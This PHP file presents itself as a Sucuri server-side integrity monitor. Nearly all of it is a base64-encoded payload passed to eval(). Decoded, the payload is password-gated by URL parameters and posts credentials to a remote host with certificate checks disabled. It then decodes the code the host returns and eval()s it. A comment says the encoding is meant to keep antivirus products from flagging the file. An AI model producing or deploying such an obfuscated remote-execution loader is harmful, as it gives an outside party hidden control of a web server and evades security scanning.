<?php
/* Sucuri integrity monitor
 * Integrity checking and server side scanning.
 *
 * Copyright (C) 2010, 2011, 2012 Sucuri, LLC
 * http://sucuri.net
 * Do not distribute or share.
 */

$MYMONITOR = "monitor10";
$my_sucuri_encoding = "



LyogU3VjdXJpIGludGVncml0eSBtb25pdG9yIC4gCiAqIENvbm5lY3RzIGJhY2sgaG9tZS4KICog
Q29weXJpZ2h0IChDKSAyMDEwLTIwMTMgU3VjdXJpLCBMTEMKICogRG8gbm90IGRpc3RyaWJ1dGUg
b3Igc2hhcmUuCiAqLwoKCiRTVUNVUklQV0QgPSAiNTM1ZTI2ZWIwZjMzMjRlODA1NmZlNjk1NDk3
NmIwNGM2MmViOTc3ZjJjYzUxIjsKCgppZihpc3NldCgkX0dFVFsndGVzdCddKSkKewogICAgZWNo
byAiT0s6IFN1Y3VyaTogRm91bmRcbiI7CiAgICBleGl0KDApOwp9CgoKCi8qIFZhbGlkIGFyZ3Vt
ZW50LiAqLwppZighaXNzZXQoJF9HRVRbJ3J1biddKSkKewogICAgZXhpdCgwKTsKfQoKCi8qIE11
c3QgaGF2ZSBhbiBJUCBhZGRyZXNzLiAqLwppZighaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERS
J10pKQp7CiAgICBleGl0KDApOwp9CgoKLyogSWYgY29taW5nIGZyb20gY2xvdWRmbGFyZTogKi8K
aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCddKSkKewogICAgJF9TRVJW
RVJbJ1JFTU9URV9BRERSJ10gPSAkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ107Cn0K
LyogTW9yZSBnYXRld2F5IHJlcXVlc3RzLiAqLwplbHNlIGlmKGlzc2V0KCRfU0VSVkVSWydIVFRQ
X1hfT1JJR19DTElFTlRfSVAnXSkpCnsKICAgICRfU0VSVkVSWydSRU1PVEVfQUREUiddID0gJF9T
RVJWRVJbJ0hUVFBfWF9PUklHX0NMSUVOVF9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k5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRf
UE9TVCwgdHJ1ZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgInA9
JFNVQ1VSSVBXRCZxPSIuJF9QT1NUWydzc2NyZWQnXSk7IAogICAgY3VybF9zZXRvcHQoJGNoLCBD
VVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CgogICAgJG15X3N1Y3VyaV9lbmNvZGluZyA9
IGN1cmxfZXhlYygkY2gpOwogICAgY3VybF9jbG9zZSgkY2gpOwoKICAgIGlmKHN0cm5jbXAoJG15
X3N1Y3VyaV9lbmNvZGluZywgIldPUktFRDoiLDcpID09IDApCiAgICB7CiAgICB9CiAgICBlbHNl
CiAgICB7CiAgICAgICAgaWYoJG15X3N1Y3VyaV9lbmNvZGluZyA9PSBOVUxMIHx8IHN0cmxlbigk
bXlfc3VjdXJpX2VuY29kaW5nKSA8IDMpCiAgICAgICAgewogICAgICAgICAgICAkbXlfc3VjdXJp
X2VuY29kaW5nID0gIngyMzUxIjsKICAgICAgICB9CiAgICAgICAgZWNobyAiRVJST1I6IFVuYWJs
ZSB0byBjb25uZWN0IGJhY2sgdG8gU3VjdXJpIChlcnJvcjogJG15X3N1Y3VyaV9lbmNvZGluZyku
IFBsZWFzZSBjb250YWN0IHN1cHBvcnRAc3VjdXJpLm5ldCBmb3IgZ3VpZGFuY2UuXG4iOwogICAg
ICAgIGV4aXQoMSk7CiAgICB9Cn0KCgokbXlfc3VjdXJpX2VuY29kaW5nID0gIGJhc2U2NF9kZWNv
ZGUoCiAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRteV9zdWN1cmlfZW5jb2RpbmcsIDcp
KTsKCgpldmFsKAogICAgJG15X3N1Y3VyaV9lbmNvZGluZwogICAgKTsKCgo=

";

/* Encoded to avoid that it gets flagged by AV products or even ourselves :) */
eval
    (base64_decode(
                    $my_sucuri_encoding));
exit(0); ?>    
    
